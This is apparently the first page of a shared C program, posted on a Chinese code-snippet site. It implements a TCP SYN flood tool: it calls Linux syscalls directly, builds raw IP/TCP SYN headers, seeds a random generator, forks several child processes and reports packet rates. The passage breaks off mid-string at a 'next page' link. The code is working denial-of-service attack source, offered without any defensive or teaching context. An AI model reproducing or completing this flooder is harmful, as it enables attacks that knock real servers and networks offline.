|
以下是代码片段: 以下是代码片段: #define NULL ((void *)0) struct timespec {long sec,nsec;}; struct timeval {long tv_sec,tv_usec;};
#define api_1(a) ({int r;asm volatile("int $128":"=a"(r):"a"(a));r;}) #define api_2(a,b) ({int r;asm volatile("int $128":"=a"(r):"a"(a),"b"(b));r;}) #define api_3(a,b,c) ({int r;asm volatile("int $128":"=a"(r):"a"(a),"b"(b),"c"(c));r;}) #define api_4(a,b,c,d) ({int r;asm volatile("int $128":"=a"(r):"a"(a),"b"(b),"c"(c),"d"(d));r;})
#define write(fd,buf,buflen) api_4(4,(int)fd,(void *)buf,(int)buflen) #define nanosleep(req,rem) api_3(162,(struct timespec *)req,(struct timespec *)rem) #define times(tbuf) api_2(43,(void *)tbuf) #define fork() api_1(2) #define kill(pid,sig) api_3(37,(int)pid,(int)sig) #define signal(signum,handler) api_3(48,(int)signum,(void (*)(int))handler) #define exit(exitcode) api_2(1,(int)exitcode) #define getpid() api_1(20) #define gettimeofday(tv,tz) api_3(78,(struct timeval *)tv,(struct timeval *)tz)
#define nsleep(delay) ({struct timespec req;req.sec=delay/1000000000L;req.nsec=delay-((delay/1000000000L)*1000000000L);nanosleep(&req,NULL);}) #define time(tv) ({struct timeval t={tv_sec:0,tv_usec:0};gettimeofday(&t,NULL);if ((int *)tv!=NULL) *((int *)tv)=t.tv_sec;t.tv_sec;}) #define utime() ({struct timeval t={tv_sec:0,tv_usec:0};gettimeofday(&t,NULL);(long long)((((long long)t.tv_sec)*1000000)+((long long)t.tv_usec));})
#define strcpy(dst,src) ({int r;asm volatile("pushl %%edi;pushl %%esi;0:;lodsb;stosb;orb %%al,%%al;jnz 0b;movl %%esi,%%eax;popl %%esi;subl %%esi,%%eax;decl %%eax;popl %%edi":"=a"(r):"D"(dst),"S"(src));r;})
static int ultodec(const unsigned long n,char *buf) { unsigned long d=1000000000,v=n; int r; char *p=buf; do { if (v/d) break; } while (d/=10); if (!d) *p++='0'; else do { r=v/d; *p++='0'+r; v-=(r*d); } while(d/=10); *p=0; return((int)p-(int)buf); }
static int ulltodec(const unsigned long long n,char *buf) { unsigned long long d=1000000000L,v=n; int r; char *p=buf; d*=10000000000L; do { if (v/d) break; } while (d/=10); if (!d) *p++='0'; else do { r=v/d; *p++='0'+r; v-=(r*d); } while(d/=10); *p=0; return((int)p-(int)buf); }
static int inttodec(const unsigned long n,char *buf) { unsigned long d=1000000000,v=n; int r; char *p=buf; if (v&0x80000000) { *p++='-'; v=((v&0x7fffffff)^0x7fffffff)+1; } do { if (v/d) break; } while (d/=10); if (!d) *p++='0'; else do { r=v/d; *p++='0'+r; v-=(r*d); } while(d/=10); *p=0; return((int)p-(int)buf); }
static unsigned long dectoul(const char *buf) { int p=0; unsigned long v=0; char nc; while ((nc=buf[p++])) { if ((nc<'0') || (nc>'9')) return(-1); v=(v*10)+(nc-'0'); } if (p==1) return(-1); return(v); }
static unsigned long long dectoull(const char *buf) { int p=0; unsigned long long v=0; char nc; while ((nc=buf[p++])) { if ((nc<'0') || (nc>'9')) return(-1); v=(v*10)+(nc-'0'); } if (p==1) return(-1); return(v); }
static int pf(int fd,const char *fmt,...) { int pos=0,sc=0,cl,cv; char nc; int *param,*param_inval; char buf[1024],*bufp=buf; asm volatile("movl %%ebp,%%eax;addl $16,%%eax":"=eax"(param)); asm volatile("movl (%%ebp),%%eax;decl %%eax;":"=eax"(param_inval)); if ((int)param>(int)param_inval) return(-1); while ((nc=fmt[pos++])) { if (sc==1) { sc=0; if (nc=='U') { if (param==param_inval) return(-1); bufp+=ulltodec(*((unsigned long long *)param++),bufp); continue; } if (nc=='d') { if (param==param_inval) return(-1); bufp+=inttodec(*param++,bufp); continue; } if (nc=='s') { if (param==param_inval) return(-1); bufp+=strcpy(bufp,(void *)*param++); continue; } } if (nc=='%') { sc=1; continue; } *bufp++=nc; } *bufp++=0; write(fd,buf,(int)bufp-(int)buf); }
static long long rndseed=0;
#define rndint() ({rndseed=(rndseed*17261911911134212L)+rndseed+9997826119244517L;(int)rndseed;}) #define rndinit() ({struct timeval t;gettimeofday(&t,NULL);rndseed^=(((long long)((getpid()*t.tv_sec)+(~getpid())+t.tv_sec+times(NULL)))<<32)^((long long)(t.tv_usec^time(NULL)));})
#define socketcall(call,args) api_3(102,call,args) #define socket(family,type,proto) ({int a[3];a[0]=family;a[1]=type;a[2]=proto;socketcall(1,a);}) #define setsockopt(fd,level,optname,optval,optlen) ({int a[5];a[0]=fd;a[1]=level;a[2]=optname;a[3]=(int)optval;a[4]=optlen;socketcall(14,a);})
struct sockaddr_in { unsigned short family; unsigned short port; unsigned long addr; unsigned char filler[8]; };
#define INADDR_NONE -1
static unsigned long inet_addr(const char *ipstr) { int p=0,cc=0; char nc; unsigned long ip,s=0; unsigned short v=0; if ((ip=dectoul(ipstr))==-1) { ip=0; while ((nc=ipstr[p++])) { if (nc=='.') { if (!cc) return(INADDR_NONE); if (s==24) return(INADDR_NONE); ip|=(v<<s); s+=8; cc=0; v=0; continue; } if (cc==3) return(INADDR_NONE); if (cc==2) if (!v) return(INADDR_NONE); cc++; if ((nc<'0') || (nc>'9')) return(INADDR_NONE); if ((v=(v*10)+(nc-'0'))>255) return(INADDR_NONE); } if (!cc) return(INADDR_NONE); if (s!=24) return(INADDR_NONE); ip|=(v<<24); } return(ip); }
static char inet_ntoa_buf[16];
static char *inet_ntoa(unsigned long ip) { char *buf = inet_ntoa_buf; buf+=ultodec(ip&0xff,buf); *buf++='.'; buf+=ultodec((ip>>8)&0xff,buf); *buf++='.'; buf+=ultodec((ip>>16)&0xff,buf); *buf++='.'; ultodec(ip>>24,buf); return(inet_ntoa_buf); }
#define htons(n) (((n>>8)&0xff)|((n&0xff)<<8)) #define ntohs htons
struct iphdr { unsigned char verihl; unsigned char tos; unsigned short len; unsigned short id; unsigned short flg_ofs; unsigned char ttl; unsigned char proto; unsigned short sum; unsigned long src; unsigned long dst; };
struct tcphdr { unsigned short sport; unsigned short dport; unsigned long seq; unsigned long ackseq; unsigned char thl; unsigned char flags; unsigned short win; unsigned short sum; unsigned short urgptr; };
struct { struct iphdr ip; struct tcphdr tcp; unsigned long opt[2]; } syn = { ip:{ verihl:(69), len:(htons(48)), flg_ofs:(64), ttl:(128), proto:(6) }, tcp:{ thl:(28<<2), flags:(2), win:htons(16384) }, opt:{0xb4050402,0x3040201} };
#define AF_INET 2 #define SOCK_RAW 3 #define IPPROTO_IP 0 #define IPPROTO_TCP 6 #define IP_HDRINCL 3
int childpid[15],childcount=0,mainthread=1,killed=0;
long long sendcount=0,starttime=0;
void cleanup_children(void) { while(childcount--) kill(childpid[childcount],1); childcount=0; }
void handle_signal(int signum) { if (killed) return; killed=1; if (starttime) { long long elapsed=utime()-starttime; if (!elapsed) elapsed=1; pf(2,"pid %d: ",getpid()); pf(2,"ran for %Us, ",elapsed/1000000); pf(2,"%U packets out, ",sendcount); pf(2,"%U bytes/s\n",(sendcount*48000000)/elapsed); } if (mainthread) { cleanup_children(); nsleep(2000000000L); pf(2,"aborting due to  [1] [2] 下一页 |